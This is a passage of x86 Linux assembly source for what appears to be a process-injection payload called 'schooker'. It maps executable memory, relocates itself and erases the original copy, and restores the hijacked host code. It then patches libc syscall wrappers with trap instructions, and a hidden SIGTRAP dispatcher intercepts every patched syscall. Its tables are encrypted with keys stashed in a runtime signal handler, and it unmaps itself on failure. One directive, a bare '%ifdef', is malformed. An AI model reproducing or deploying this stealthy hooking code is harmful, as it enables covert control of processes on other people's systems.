                js      _exit
                ret

starter:        ;---[ starter routine ]-----------------:
.savectx        push    eax
                pushad
                pushfd
                mov     ebp,12345678h                   ; delta offset of schooker into stack
                starter_GD  equ $-4
                mov     dword[ebp+orig_esp-gdelta],esp  ; save current esp
                mov     eax,[ebp+inj_orig_eip-gdelta]   ; set orig ret address
                mov     dword[esp+_pushfd+_pushad],eax
                push    byte context_size               ; save context data: pushad+pushfd+push
                pop     ecx
                mov     esi,esp
                lea     edi,[ebp+context-gdelta]
                rep     movsb

.alloc_room:    mov     ecx,dword[ebp+room_size-gdelta] ; map a memory area
                xor     eax,eax
                cdq
                push    eax
                dec     eax
                push    eax
                push    byte 22h                        ; anon|private
                push    byte 7                          ; read|write|exec
                push    ecx                             ; size
                push    edx
                mov     ebx,esp
                push    byte sc_mmap
                pop     eax
                int     80h
                add     esp,(6*_push)
                dec     edx
                cmp     eax,edx
                je      .restctx                        ; mmap fails, restore previous context

.move_code:     inc     edx
                mov     dword[ebp+code_address-gdelta],eax ; save address of the mapped area
                lea     ebx,[eax+setup-schooker]        ; set new entrypoint
                lea     esi,[ebp+schooker-gdelta]
                push    esi
                mov     ecx,(fini-schooker)
                push    ecx
                mov     edi,eax                         ; eax = destination
                rep     movsb                           ; move code
                pop     ecx
                pop     edi
                xor     al,al
                rep     stosb                           ; delete first copy of the code

._start:        call     ebx                            ; jump to entrypoint (schooker)

.restctx:       popfd                                   ; in case of error restore
                popad                                   ; context previously saved
                ret                                     ; and continue execution

schooker:       ;---[ schooker routine ]----------------:
getDelta:       call    _gdelta                         ; code to get delta offset
gdelta:         db      0CCh
_gdelta:        pop     ebp
                ret
setup:          call    getDelta
%ifdef DBG
                pushad
                call    open_logfile                    ; open logfile
                lea     ecx,[ebp+dbug_msg1-gdelta]
                call    write_logfile
                popad
%endif
.unprotect:     lea     ecx,[ebp+mpfr_struct-gdelta]
                mov     dword [ecx+mpfr_blk_size],blksz
                lea     ebx,[ebp+self_maps-gdelta]
                mov     dword [ecx+mpfr_path],ebx       ; set block size & mapfile path
                push    ecx                             ; *mpfr
                call    mpfr_open                       ; create mpfr for current processa

                mov     edi,dword[ebp+inj_orig_eip-gdelta]
                push    edi                             ; host_code address (eip)
                push    ecx                             ; *mpfr
                call    mpfr_search_by_vaddr            ; get map entry which originally
                add     esp,(3*_push)                   ; have contained host code

                mov     ebx,[eax+mapent_start]          ; unprotect this entry
                mov     ecx,[eax+mapent_size]
                push    byte 7h
                pop     edx
                push    byte sc_mprotect
                pop     eax
                int     80h

.rest_hostcode: mov     ecx,[ebp+starter_sz-gdelta]     ; restore the host code that was
                lea     esi,[ebp+host_code-gdelta]      ; replaced by our starter code
                rep     movsb                           ; esi= host code, edi= inj_orig_eip
%ifdef DBG
                pushad
                lea     ecx,[ebp+dbug_msg2-gdelta]
                call    write_logfile
                popad
%endif
.set_globals:   mov     dword[ebp+link_map-gdelta],ecx  ; clean link_map var
                lea     eax,[ebp+mpfr_struct-gdelta]    ; maps = &mpfr_struct, used
                mov     dword[ebp+maps-gdelta],eax      ; by sosr() & mpfr() routines

                lea     eax,[ebp+eraseme-gdelta]        ; if any error is produced, the code
                mov     dword[ebp+sdr-gdelta],eax       ; jump to the "self-deleting routine"
%ifdef TEST_SDR
                call    [ebp+sdr-gdelta]                ; test sdr
%endif
                                                        ; check error routines:
                lea     eax,[ebp+ckerr_zero-gdelta]
                mov     dword[ebp+ckfunc-gdelta],eax    ; for functions
                lea     eax,[ebp+ckerr_sone-gdelta]
                mov     dword[ebp+cksys-gdelta],eax     ; for syscalls

                mov     eax,[ebp+code_address-gdelta]
                add     eax,[ebp+room_size-gdelta]
                sub     eax,ade_flagtable_size          ; get&save ade flagtable address
                mov     dword[ebp+ade_flagtable-gdelta],eax ; placed at the end of the segment
                sub     eax,ade_dstruct_size            ; get&save ade disasm struct address
                mov     dword[ebp+ade_dstruct-gdelta],eax ; placed just before the flagtable

.noexec_detect: mov     edx,ecx                         ; non-exec stack detection code:
.get_segvhndl:  push    byte 4                          ; get current sigsegv handler
                pop     ecx
.clean_sigact2: push    edx                             ; sigact struct
                loop    .clean_sigact2
                mov     edx,esp                         ; edx = oldact, ecx = 0
                push    byte sigsegv
                pop     ebx
                push    byte sc_sigaction
                pop     eax
                int     80h
                call    [ebp+cksys-gdelta]
                pop     eax                             ; save oldact->handler
                mov     dword[ebp+orig_segvhndl-gdelta],eax

.set_segvhndl:  xchg    ecx,edx                         ; ecx = act , edx = 0
                lea     eax,[ebp+.sigsegv_hndl-gdelta]
                push    eax                             ; act->handler
                push    byte sc_sigaction               ; register .sigsegv_hndl code
                pop     eax                             ; as the sigsegv handler
                int     80h
                call    [ebp+cksys-gdelta]
                pop     eax
                                                        ; stack layout: [ret(1b)][.test_noexec(vaddr4b)]
.gen_segfault:  xor     eax,eax                         ; eax = nonexec stack flag (nxsf)
                lea     esi,[esp-(1+_push)]             ; esi points to "ret" instruction into the stack (esp-1-4)
                mov     byte[esi],byte _retinst         ; put "ret" instr and
                call    esi                             ; jump to it = inserts .test_noexec vaddr

.test_noexec:   cmp     eax,nxsf                        ; this test if a segfault was produced or not:
                jne     .rest_segvhndl                  ; eax != nxsf: exec stack, noexec = 0 (default)
                inc     byte [ebp+noexec-gdelta]        ; eax  = nxsf: non exec stack (segfault), noexec = 1
                jmp     .rest_segvhndl

.sigsegv_hndl:  mov     edi,esp                         ; just change eip & eax registers of previous ctx
                call    getDelta                        ; if this code is being executed a segfault was produced so
                mov     dword[edi+sigfrm_ctx_eax],nxsf  ; stack is not executable : set flag
                lea     eax,[ebp+.test_noexec-gdelta]
                mov     dword[edi+sigfrm_ctx_eip],eax   ; change eip to points at ".test_noexec"
%ifdef  DBG
                pushad
                lea     ecx,[ebp+dbug_msg3-gdelta]
                call    write_logfile
                popad
%endif
                ret                                     ; (sigeturn)

.rest_segvhndl: push    dword [ebp+orig_segvhndl-gdelta]; act->handler = orig sigsegv handler
                push    byte sc_sigaction               ; ecx = act, edx = 0
                pop     eax
                int     80h                             ; restore orig handler
                add     esp,byte (4*_push)
                call    [ebp+cksys-gdelta]

                push    byte (sosr_flag_elf32sym+sosr_flag_onetbl)
                lea     eax, [ebp+magic_table-gdelta]
                push    eax
                push    eax
                call    rslv_libcsyms                   ; locate syscall wrappers
                add     esp,byte(3*_push)
%ifdef DBG
                pushad
                lea     ecx,[ebp+dbug_msg4-gdelta]
                call    write_logfile
                popad
%endif
                call    patch_scw                       ; patch syscall wrappers
%ifdef DBG
                pushad
                lea     ecx,[ebp+dbug_msg5-gdelta]
                call    write_logfile
                popad
%endif
                call    setup_tsd                       ; prepare TSD
%ifdef DBG
                pushad
                lea     ecx,[ebp+dbug_msg6-gdelta]
                call    write_logfile
                popad
%endif
                push    sosr_flag_twotbl
                lea     eax,[ebp+func_vatbl-gdelta]
                push    eax
                lea     eax,[ebp+func_hashtbl-gdelta]
                push    eax
                call    rslv_libcsyms
                add     esp,(3*_push)
%ifdef DBG
                pushad
                push    byte 7Fh
                pop     eax
                sub     esp,eax
                mov     ecx,esp
                push    dword[ebp+code_address-gdelta]
                lea     ebx,[ebp+dbug_msg0-gdelta]
                push    ebx
                push    eax
                push    ecx
                call    [ebp+va_snprintf-gdelta]
                pop     ecx
                call    write_logfile
                add     esp,(7Fh+_push*3)
                popad
%endif
                lea     ecx,[ebp+mpfr_struct-gdelta]
                push    ecx
                call    mpfr_close                      ; close mpfr
                pop     eax

                mov     byte[ebp+installed-gdelta],dl   ; instalation was success
%ifdef
                call    close_logfile                   ; close log_file
%endif
eraseme:        ; --[ eraseme routine ]-----------------: code eraser and context restorer
                mov     esp,dword[ebp+orig_esp-gdelta]  ; place original context into stack:
                mov     edi,esp                         ; registers saved by POPAD & POPFD instructions and
                mov     ecx,(context_size/4)            ; a DWORD which contains the next instruction to be
                lea     esi,[ebp+context-gdelta]        ; executed, the value at the point in which flow
                rep     movsd                           ; was interrupted (orig EIP)

                add     cl,byte 1                       ; if the routine was called because of a critical
                installed equ $-1                       ; error, unmap the segment which contains the code
                jecxz   restctx                         ; if not, it is last part of the instalation procedure

                mov     ecx,[ebp+noexec-gdelta]         ; if stack is no executable
                dec     ecx                             ; , does not unmap, restore only
                jecxz   restctx

                lea     esi,[ebp+eraser-gdelta]         ; copy eraser & restctx routines
                mov     ecx,(ckerr_zero-eraser)         ; into the stack
                sub     esp,ecx
                mov     edi,esp
                rep     movsb

                push    dword[ebp+orig_esp-gdelta]      ; push orig esp
                                                        ; push munmap arguments:
                push    dword[ebp+room_size-gdelta]     ;  arg1: segment size
                push    dword[ebp+code_address-gdelta]  ;  arg2: segment starting address
                push    byte sc_munmap                  ;  sysn: munmap number
                                                        ;                   stack layout:
                lea     edx,[esp+_push*4]               ; [sysn|arg1|arg2|esp|(eraser/restctx)code|context]
                jmp     edx                             ; time to die    '---< esp points to >----|       |
                                                        ;                                         |       |
eraser:         pop     eax                             ; pop munmap syscall number               |       |
                pop     ebx                             ; pop munmap arg1                         |       |
                pop     ecx                             ; pop munmap arg2                         |       |
                pop     esp                             ; pop esp )----------->-------------------'       |
                int     80h                             ; execute munmap, free mem (must not fail!!)      |
                                                        ;                                                 |
restctx:        popfd                                   ; restore ctx, here esp points to ---------->-----'
                popad
                ret                                     ; after ret, eip & esp are restored

ckerr_zero:     test    eax,eax                         ; test if eax == 0
                je      eraseme
                ret
ckerr_sone:     test    eax,eax                         ; test if eax == -1
                js      eraseme
                ret

rslv_libcsyms:  ;---[ rslv_libcsyms ]-------------------: resolve one or more symbols
                pushad                                  ; of the libc shared object
                lea     ebx,[ebp+sosr_struct-gdelta]
                mov     esi,dword[esp+_pparam1]         ; arg1 = hashtbl
                lodsd   
                mov     [ebx+sosr_hash_table],esi
                mov     edi,dword[esp+_pparam2]         ; arg2 = vatbl
                mov     [ebx+sosr_va_table],edi
                mov     [ebx+sosr_sym_count],eax
                mov     eax,dword[esp+_pparam3]         ; arg3 = flags
                mov     [ebx+sosr_flags],eax
                lea     eax,[ebp+libcso_map_names-gdelta]
                mov     [ebx+sosr_map_names],eax
                lea     eax,[ebp+libcso_lkm_names-gdelta]
                mov     [ebx+sosr_lkm_names],eax
                push    ebx
                call    sosr
                pop     ebx
                popad
                ret

patch_scw:      ;---[ patch_scw routine ]---------------:
                pushad
.find_seg:      lea     eax,[ebp+libcso_map_names-gdelta]
                push    eax                             ; name list
                lea     eax,[ebp+mpfr_struct-gdelta]
                push    eax                             ; *mpfr
                call    mpfr_search_by_names            ; get map entry of libc's text segment
                add     esp,(2*_push)
                test    eax,eax
                je      .seg_notfound
.check_seg:     mov     ebx,dword elf_magic             ; check if the entry
                bswap   ebx                             ; found is a text segment
                mov     ecx,dword[eax+mapent_start]
                cmp     ebx,dword[ecx]
                je      .save_seg_info
.seg_notfound:  call    [ebp+sdr-gdelta]                ; seg not found or incorrect: error

.save_seg_info: mov     ecx,dword[eax+mapent_size]      ; save seg base address & size
                mov     dword[ebp+libc_text_size-gdelta],ecx 
                mov     ebx,dword[eax+mapent_start]
                mov     dword[ebp+libc_text_base-gdelta],ebx

.unprotect_seg: push    ecx
                push    ebx
                push    byte 7h                         ; enable rwx access
                pop     edx
                push    byte sc_mprotect
                pop     eax
                int     80h
                call    [ebp+cksys-gdelta]

.init_ade:      push    dword[ebp+ade_flagtable-gdelta] ; address of flagtable
                call    ade_init                        ; initialize flagtable
                pop     eax
                push    dword[ebp+(magic_table+magic_entnum)-gdelta] ; esp+4 = scw count
                lea     eax,[ebp+(magic_table+magic_entry)-gdelta]
                push    eax                             ; esp+0 = hash table address

.process_scw:   mov     eax,dword[esp]
                mov     ebx,dword[eax+magic_address]    ; ebx = elf32sym address
                mov     edx,dword[ebx+elf_sym_size]     ; edx = ebx->st_size: sym code size
                mov     esi,dword[ebx+elf_sym_value]    ; esi = ebx->st_value: sym code address
                cmp     esi,dword[ebp+libc_text_base-gdelta]
                jae     .va
.rva:           add     esi,dword[ebp+libc_text_base-gdelta]

.va:            lea     ebx,[ebp+ssii_table-gdelta]     ; ebx = ssii table address
                movzx   ecx,byte[ebx]                   ; ecx = ssii count
                inc     ebx
                xor     edi,edi
.process_ssii:  call    insert_hook                     ; search any ssii within the symbol
                add     edi,eax                         ; code and replace them with a hook
                mov     al,byte[ebx+ssii_next]
                add     ebx,eax
                loop    .process_ssii
                test    edi,edi
                jne     .next_scw
                mov     eax,dword[esp]                  ; none was found
                mov     byte[eax+magic_code],magic_badentry

.next_scw:      add     dword[esp],magic_entsize        ; next scw, dec counter
                dec     dword[esp+4]
                jne     .process_scw

                add     esp,(2*_push)

.protect_seg:   pop     ebx                             ; restore the original
                pop     ecx                             ; access protection values
                push    byte 5                          
                pop     edx
                push    byte sc_mprotect
                pop     eax
                int     80h
                call    [ebp+cksys-gdelta]

                popad
                ret

insert_hook:    ; search any ssii within the symbol code and
                ; replace them with hooks. Params:
                ; edx = code size, esi = code start, ebx = ssii desc
                pushad
                xor     eax,eax
                mov     [ebp+ssii_found-gdelta],eax     ; set found var = 0
                                                        ; ade_disasm params:
                push    dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
                push    dword[ebp+ade_dstruct-gdelta]   ; p2: disasm struct address
                push    esi                             ; p1: code address

.next_inst:     mov     edi,dword[esp+_push]            ; disassemble one instruction:
                mov     word[edi],0404h                 ; set disasm options = 32 bit code
                sub     edx,eax                         ; code size - next instr size (first time eax = 0)
                je      .ret                            ; test if end of code
                add     dword [esp],eax                 ; point to next instr (first time eax = 0)

.disasm_instr:  call    ade_disasm                      ; ret(eax) = instr size

.check_size:    cmp     al,byte[ebx+ssii_size]          ; * first check: compare size
                jne     .next_inst                      ; size not equal, try next instr

.check_content: movzx   ecx,byte[ebx+ssii_contentsz]    ; get bytes to be compared
                lea     edi,[ebx+ssii_content]
                mov     esi,dword[esp]
                repe    cmpsb                           ; * second check: compare instruction content
                jne     .next_inst                      ; code not equal, try next instr

                mov     dword[ebp+ssii_found-gdelta],1h ; ssii found: found_var = 1
                push    eax                             ; save instr size
            
.patch          movzx   ecx,byte[ebx+ssii_contentsz]    ; respos esi to the first byte
                sub     esi,ecx                         ; of the instruction
                mov     cl,byte[ebx+ssii_size]          ; get instruction size
                xchg    edi,esi
.write_trap:    push    _trap
                pop     eax
                stosb                                   ; insert trap
                push    _nop
                pop     eax
                dec     ecx
.write_nop:     stosb                                   ; insert nops
                loop    .write_nop

                pop     eax
                jmp     .next_inst

.ret:           add     esp,(3*_push)
                mov     eax,12345678h
                ssii_found  equ $-4
                mov     dword[esp+_pushad_eax],eax
                popad
                ret

setup_tsd:      ;---[ setup_tsd routine ]---------------:
                pushad
                xor     ecx,ecx
.get_traphndl:  mov     edx,ecx
                mov     cl, byte 4
.clean_sigact:  push    edx                             ; sigaction struct (16b)
                loop    .clean_sigact
                mov     edx,esp                         ; edx = oldact, ecx = 0
                push    byte sigtrap
                pop     ebx
                push    byte sc_sigaction
                pop     eax
                int     80h                             ; get original sigtrap hanlder
                call    [ebp+cksys-gdelta]
                pop     eax
                test    eax,eax
                je      .set_traphndl                   ; oldact->handler = 0, no handler
                mov     dword [ebp+orig_traphndl-gdelta],eax ; save oldact->handler

.set_traphndl:  xchg    ecx,edx
                lea     eax, [ebp+tsd-gdelta]
                push    eax                             ; act->handler = new handler address
                push    byte sc_sigaction               ; ecx = act, edx = 0
                pop     eax
                int     80h                             ; set our sigtrap handler: the TSD
                add     esp,(4*_push)
                call    [ebp+cksys-gdelta]

.install_sch:   mov     ecx,[ebp+(magic_table+magic_entnum)-gdelta]
                lea     esi,[ebp+(magic_table+magic_entry)-gdelta]
                mov     edi,esi
.next:          xor     eax,eax                         ; register syscall sub-handlers
                lodsb
                stosb                                   ; get syscall number
                call    schndl_lookup                   ; get handler for this syscall = eax
                stosd                                   ; save handler address
                lodsd
                loop    .next
%ifdef  CRYPT
.gen_keys:      mov     edx,ecx                         ; generate a pair of "random" keys
                lea     ebx,[ebp+dev_random-gdelta]
                push    byte sc_open                    ; open /dev/random
                pop     eax                             ; mode = 0, flags = O_RDONLY(0)
                int     80h
                call    [ebp+cksys-gdelta]

                push    byte 4
                pop     edx
                push    ecx
                mov     ecx,esp                         ; ecx = DWORD *val
                xchg    ebx,eax                         ; ebx = /dev/random fd
                push    byte sc_read                    ; read a DWORD of random bytes
                pop     eax
                int     80h
                call    [ebp+cksys-gdelta]

                push    byte sc_close
                pop     eax
                int     80h                             ; close /dev/random
                call    [ebp+cksys-gdelta]              ; ret ok = 0
                xchg    ebx,eax

                rdtsc                                   ; rdtsc edx:eax
                pop     edx                             ; get DWORD
                push    ebx
                bswap   edx
                xchg    dl,ah                           ; edx = (1st) key for magic table
                xchg    dh,al                           ; eax = (2nd) key for syscall handlers

.save_keys:     xchg    esi,edx
                xchg    edi,eax
                push    esi                             ; sigact->restorer = 1st key
                push    ebx                             ; 0
                push    ebx                             ; 0
                push    esp                             ; sigact->handler = put any valid vaddr
                xchg    edx,ebx                         ; oldact = 0
                mov     ecx,esp                         ; act = esp
                push    byte rt_signal                  ; runtime signal SIGRTMIN+3+X
                pop     ebx
                push    byte sc_sigaction
                pop     eax
                int     80h                             ; save first key in a runtime signal
                mov     dword[esp+(3*_push)],edx        ; clean key into stack
                call    [ebp+cksys-gdelta]
                add     esp,(5*_push)
                xchg    edx,esi
                xchg    eax,edi

.encrypt_mtbl:  mov     dword[ebp+_mtbl_begin_-gdelta],eax ; second key is stored in
                xchg    eax,edx                         ; the magic table
                lea     esi,[ebp+_mtbl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_mtbl_end_-_mtbl_begin_)/4
                call    xxor                            ; encrypt magic table with first key

.encrypt_schnl: xchg    eax,edx
                lea     esi,[ebp+_schndl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_schndl_end_-_schndl_begin_)/4
                call    xxor                            ; encrypt syscall handlers with second key
                                                        ; eax = edx = 0
%endif
.disable_HEP:   ; test the TSD with HEP disabled
                xor     ecx,ecx
                mov     dword[ebp+hep-gdelta],ecx       ; disable HEP
                mov     eax,ecx                         ; eax = 0, test routine
                inc     ecx                             ; test routine params:
                mov     ebx,ecx                         ; ebx = 1, ecx = 2, edx = 3
                inc     ecx
                mov     edx,ecx
                inc     edx
                mov     dword[ebp+pid-gdelta],eax       ; clean check var
                int3    ; ---< internal trap >----------: invoke the TSD in non­protected mode
                push    byte sc_getpid
                pop     eax
                int     80h                             ; get current pid
                mov     esi,eax
                cmp     eax,dword[ebp+pid-gdelta]       ; test if the TSD was executed successfully
                je      .enable_HEP
                call    [ebp+sdr-gdelta]                ; if eax != pid, TSD failed: error

.enable_HEP:    ; test the TSD with HEP enabled (set as default)
                mov     dword[ebp+hep-gdelta],ebx       ; enable HEP
                dec     ebx
                mov     dword[ebp+pid-gdelta],ebx       ; clean check var
                inc     ebx
                xor     eax,eax
                int3    ; ---< internap trap >----------: invoke the TSD in protected mode
                cmp     esi,dword[ebp+pid-gdelta]
                jne     .ok
                call    [ebp+sdr-gdelta]                ; if edi == pid, TSD failed: error

.ok:            popad
                ret

tsd:            ;---[ trapped syscall dispatcher ]------:
                mov     edi,esp                         ; edi = *sigframe
                call    getDelta                        ; get delta offset
%ifdef CRYPT
                lea     eax,[ebp+.sigfrm_ctx-gdelta]
                mov     dword[eax],edi

.get_key:       sub     esp,(4*_push)                   ; get first key, placed in
                mov     edx,esp                         ; kernspace, a runtime signal
                xor     ecx,ecx
                push    byte rt_signal                  ; linuxthreads uses the first
                pop     ebx                             ; 3 rt_signals
                push    byte sc_sigaction
                pop     eax
                int     80h
                call    [ebp+cksys-gdelta]

.decrypt_mtbl:  mov     eax,dword[edx+sigact_restorer]  ; key = act->restorer
                mov     dword[edx+sigact_restorer],ecx  ; act->restorer = 0
                add     esp,(4*_push)
                push    eax                             ; save&crypt 1key
                lea     esi,[ebp+_mtbl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_mtbl_end_-_mtbl_begin_)/4
                call    xxor                            ; decrypt magic table with first key

                mov     eax,dword[ebp+_mtbl_begin_-gdelta]
                mov     dword[ebp+_mtbl_begin_-gdelta],ecx ; clean key into magic table
                xor     dword[esp],eax
                push    eax                             ; save&crypt 2key
                xor     dword[esp],ebp

.decrypt_schnl: lea     esi,[ebp+_schndl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_schndl_end_-_schndl_begin_)/4
                call    xxor                            ; decrypt syscall handlers with second key

                lea     eax,[ebp+.encrypt_schnl-gdelta]
                push    eax ; return value
                mov     edi,12345678h                   ; edi = sigframe address
                .sigfrm_ctx equ $-4
                lea     eax,[ebp+.check_HEP-gdelta]
                jmp     eax                             ; continue handler execution

.encrypt_schnl: xor     ecx,ecx                         ; encrypt again
                call    getDelta
                pop     eax
                xor     eax,ebp                         ; get second key (eax)
                mov     [esp-4],ecx
                pop     ebx                             ; get first key (ebx)
                xor     ebx,eax
                mov     [esp-4],ecx
                mov     dword[ebp+_mtbl_begin_-gdelta],eax ; save second key into magic table
                lea     esi,[ebp+_schndl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_schndl_end_-_schndl_begin_)/4
                call    xxor                            ; encrypt syscall handlers

.encrypt_mtbl:  xchg    eax,ebx
                lea     esi,[ebp+_mtbl_begin_-gdelta]
                mov     edi,esi
                mov     ecx,(_mtbl_end_-_mtbl_begin_)/4
                call    xxor                            ; encrypt magic table

                ret                                     ; real sigreturn
%endif
.check_HEP:     mov     eax,dword[edi+sigfrm_ctx_eip]   ; handler execution prevention
                mov     ebx,dword[ebp+libc_text_base-gdelta]
                xor     edx,edx
                cmp     edx,dword[ebp+hep-gdelta]       ; if HEP is disabled: skip checking
                je      .dispatch                       ; if HEP is enabled: only instructions 
                cmp     eax,ebx                         ; which are part of the libc's text
                jb      .sigreturn                      ; segment are allowed to be handled
                add     ebx,dword[ebp+libc_text_size-gdelta]
                cmp     eax,ebx
                ja      .sigreturn

.dispatch:      mov     ecx,dword[edi+sigfrm_ctx_eax]   ; dispatch syscall
                lea     eax,[ebp+test_schndl-gdelta]
                jecxz   .do_schndl                      ; if ecx = 0, run test function
                xchg    ebx,ecx                         ; ebx = number of syscall executed
                mov     ecx,[ebp+(magic_table+magic_entnum)-gdelta] ; ecx = syscall handlers count
                lea     esi,[ebp+(magic_table+magic_entry)-gdelta] ; esi = magic table address

.get_schndl:    xor     eax,eax                         ; search syscall handler
                lodsb
                xchg    edx,eax
                lodsd                                   ; get syscall handler address
                cmp     edx,ebx                         ; handler found, execute it
                je      .do_schndl
                loop    .get_schndl

                lea     eax,[ebp+def_schndl-gdelta]     ; handler not found, use default: def_schndl
.do_schndl:     call    eax                             ; execute handler
.sigreturn:     ret                                     ; return from signal handler (sigreturn)
def_schndl:     ; handler for non-registered syscalls - : the simplest one:
                call    load_fctx                       ; - load fctx (scid/args)
                int     80h                             ; - execute syscall
                mov     dword[edi+sigfrm_ctx_eax],eax   ; - restore context
                ret

test_schndl:    ; used by setup_tsd() to test TSD
                call    load_fctx
                inc     eax
                cmp     bl,al   ; ebx = 1
                jne     .ret
                inc     al
                cmp     cl,al   ; ecx = 2
                jne     .ret
                inc     al
                cmp     dl,al   ; edx = 3
                push    byte sc_getpid
                pop     eax
                int     80h
                mov     dword[edi+sigfrm_ctx_eax],eax
                mov     dword[ebp+pid-gdelta],eax
.ret            ret

load_fctx:      ; this just loads required regs : eax,ebx,ecx,edx,esi
                mov     eax,dword[edi+sigfrm_ctx_eax]
                mov     ebx,dword[edi+sigfrm_ctx_ebx]
                mov     ecx,dword[edi+sigfrm_ctx_ecx]
                mov     edx,dword[edi+sigfrm_ctx_edx]
                mov     esi,dword[edi+sigfrm_ctx_esi]
                ret     ; edi is not used as argument

xxor:           ; xor: eax = key, ecx = size, esi = edi = init buff
                mov     dword[ebp+.key-gdelta],eax
.next_dword:    lodsd
                xor     eax,12345678h
                .key    equ $-4
                stosd
                loop    .next_dword
                mov     dword[ebp+.key-gdelta],ecx  ; clean key
                mov     eax,ecx
                ret

;===============================================================================|
; shared object symbol resolver
;===============================================================================|

; sosr struct:
sosr_flags              equ 00h ; DWORD     : options
sosr_hash_table         equ 04h ; PVOID     : symbol hash table
sosr_va_table           equ 08h ; PVOID     ; symbol address table
sosr_sym_count          equ 0Ch ; DWORD     : num of symbols to be resolved
sosr_base               equ 10h ; DWORD     : shared object base address
sosr_dynamic            equ 14h ; DWORD     : dynamic section address
sosr_map_names          equ 18h ; PVOID     : map name list (gsoinf_by_maps)
sosr_lkm_names          equ 1Ch ; PVOID     : lkm name list (gsoinf_by_lkm)

sosrsz                  equ 7*4h            ; sosr struct size

sosr_flag_onetbl        equ 02h             ; use the magic table
sosr_flag_twotbl        equ 04h             ; use hash & va tables
sosr_flag_elf32sym      equ 20h
sosr_flag_libcbase      equ 40h

; VOID sosr(sosr *)
sosr:           pushad

                mov     eax,dword[esp+_pparam1]         ; eax = *sosr

                mov     ecx,[eax+sosr_base]             ; test if the sosr
                jecxz   .gsoinf                         ; struct passed was
                mov     ecx,[eax+sosr_dynamic]          ; previously initialized
                jecxz   .gsoinf

                jmp     get_sects                       ; base & dynamic fields ok

.gsoinf:        ; get the shared object base address and the value of its dynamic 
                ; section, these two fields are required in order to resolve any 
                ; symbol. There are two ways of doing it:

gsoinf_by_maps: ; 1A) first method: get info from /proc/PID/mapfile (it uses mpfr API):
                ; Should work for most linux distros (default)

.get_seg:       push    dword[eax+sosr_map_names]       ; name list
                push    dword[ebp+maps-gdelta]          ; *mpfr
                xchg    ebx,eax
                call    mpfr_search_by_names            ; search shared object by its name
                add     esp,(2*_push)
                test    eax,eax
                je      gsoinf_by_lkm                   ; seg not found, try next method
                xchg    ebx,eax                         ; seg found = ebx

.check_seg:     mov     ecx,dword elf_magic             ; check if this entry
                bswap   ecx                             ; is a text segment
                mov     edx,dword[ebx+mapent_start]
                cmp     ecx,dword[edx]
                jne     gsoinf_by_lkm                   ; if not, try next method

.get_dyn:       mov     edx,dword[ebx+mapent_start]     ; get the dynamic section
                movzx   ecx,word[edx+elf_hdr_phnum]
                add     edx,dword[edx+elf_hdr_phoff]
.next_phdr:     cmp     byte [edx],elf_phdr_type_dynamic
                je      .save_base
                add     edx,byte elf_phdr_entsize
                loop    .next_phdr
                jmp     gsoinf_by_lkm                   ; section not found, try next method

.save_base:     push    dword[ebx+mapent_start]         ; save base address
                pop     dword[eax+sosr_base]
.get_dyn_vaddr: mov     ecx,dword[edx+elf_phdr_vaddr]   ; test if phdr->p_vaddr is
                cmp     ecx,dword[eax+sosr_base]        ; an offset
                jae     .save_dyn
                add     ecx,dword[eax+sosr_base]
.save_dyn:      mov     dword[eax+sosr_dynamic],ecx     ; save dynamic section address

                jmp     get_sects                       ; proceed to the next step

gsoinf_by_lkm:  ; 2A) second method: get info from link_map structures:
                ; Does not work properly with some libc/linker/kernel versions

                mov     ebx,[ebp+link_map-gdelta]       ; get linkmap address
                test    ebx,ebx                         ; only once (for same process)
                jne     .get_lkment                     ; it was cleaned at "setup"

                mov     ebx, dword elf_image_base       ; ** hardcoded address **
                movzx   ecx,word[ebx+elf_hdr_phnum]     ; ecx = program header table entnum
                add     ebx,dword[ebx+elf_hdr_phoff]    ; eax = program header table

.next_phdr:     mov     edx,dword[ebx+elf_phdr_vaddr]   ; edx = phdr->p_vaddr
                cmp     byte [ebx],elf_phdr_type_dynamic ; search for dynamic section
                je      .next_dyn                       ; dynamic section found
                add     ebx,byte elf_phdr_entsize
                loop    .next_phdr
                call    [ebp+sdr-gdelta]                ; dynamic section not found, error

.next_dyn:      mov     ebx,edx                         ; search for got section
                add     edx,byte elf_dyn_entsize
                cmp     byte[ebx],elf_dyn_tag_pltgot
                je      .next_got                       ; got section found
                cmp     bh,byte[ebx]                    ; **
                jne     .next_dyn
                call    [ebp+sdr-gdelta]                ; got section not found, error

.next_got:      mov     ebx,dword[ebx+4]                ; ebx+4 = dyn->dt_val = got
                mov     ebx,dword[ebx+4]                ; got[1] = linkmap, ebx = first entry
                mov     [ebp+link_map-gdelta],ebx       ; save linkmap address

.get_lkment:    push    dword[ebx+link_map_name]        ; get a linkmap entry given
                push    dword[eax+sosr_lkm_names]       ; a list of shared object names
                call    cmp_name
                add     esp,(2*_push)
                jecxz   .save                           ; entry found, save
                mov     ebx,[ebx+link_map_next]
                test    ebx,ebx
                jne     .get_lkment
                call    [ebp+sdr-gdelta]                ; entry not found, error

.save:          push    dword[ebx+link_map_base]
                pop     dword[eax+sosr_base]            ; save base address
                push    dword[ebx+link_map_dyn]
                pop     dword[eax+sosr_dynamic]         ; save dynamic section address

get_sects:      ; 2) get some required sections: hash, dynsym, dynstr

                mov     edx,dword[eax+sosr_dynamic]     ; edx: shared object's dynamic section
                lea     esi,[esp-(3*_push)]             ; addresses will be stored into the stack
.search:        mov     cl,byte[edx+elf_dyn_dtag]       ; cl = entry type
                test    cl,cl
                jz      .test                           ; end of dynamic section (DT_NULL entry)
                cmp     cl, byte 4h
                _hash   equ 8h
                jz      .save                           ; save hash: [esp+8] = _hash
                cmp     cl, byte 5h
                _dynstr equ 4h
                jz      .save                           ; save dynsym: [esp+4] = _dynsym
                cmp     cl, byte 6h
                _dynsym equ 0h
                jnz     .next                           ; save dynstr: [esp+0] = _dynstr
.save:          mov     ecx,[edx+elf_dyn_dval]          ; "add ecx,[eax+sosr_base]" not required
                push    ecx                             ; save address for this section into the stack
.next:          add     edx,byte elf_dyn_entsize        ; continue with next dynamic entry
                jmp     .search
.test:          cmp     esi,esp                         ; check if were 3 push
                je      get_syms
                call    [ebp+sdr-gdelta]                ; error: some sections could not be found

get_syms:       ; 3) get symbols addresses

.set_params:    mov     edx,dword[eax+sosr_flags]
                mov     edi,dword[eax+sosr_hash_table]
                mov     esi,dword[eax+sosr_va_table]
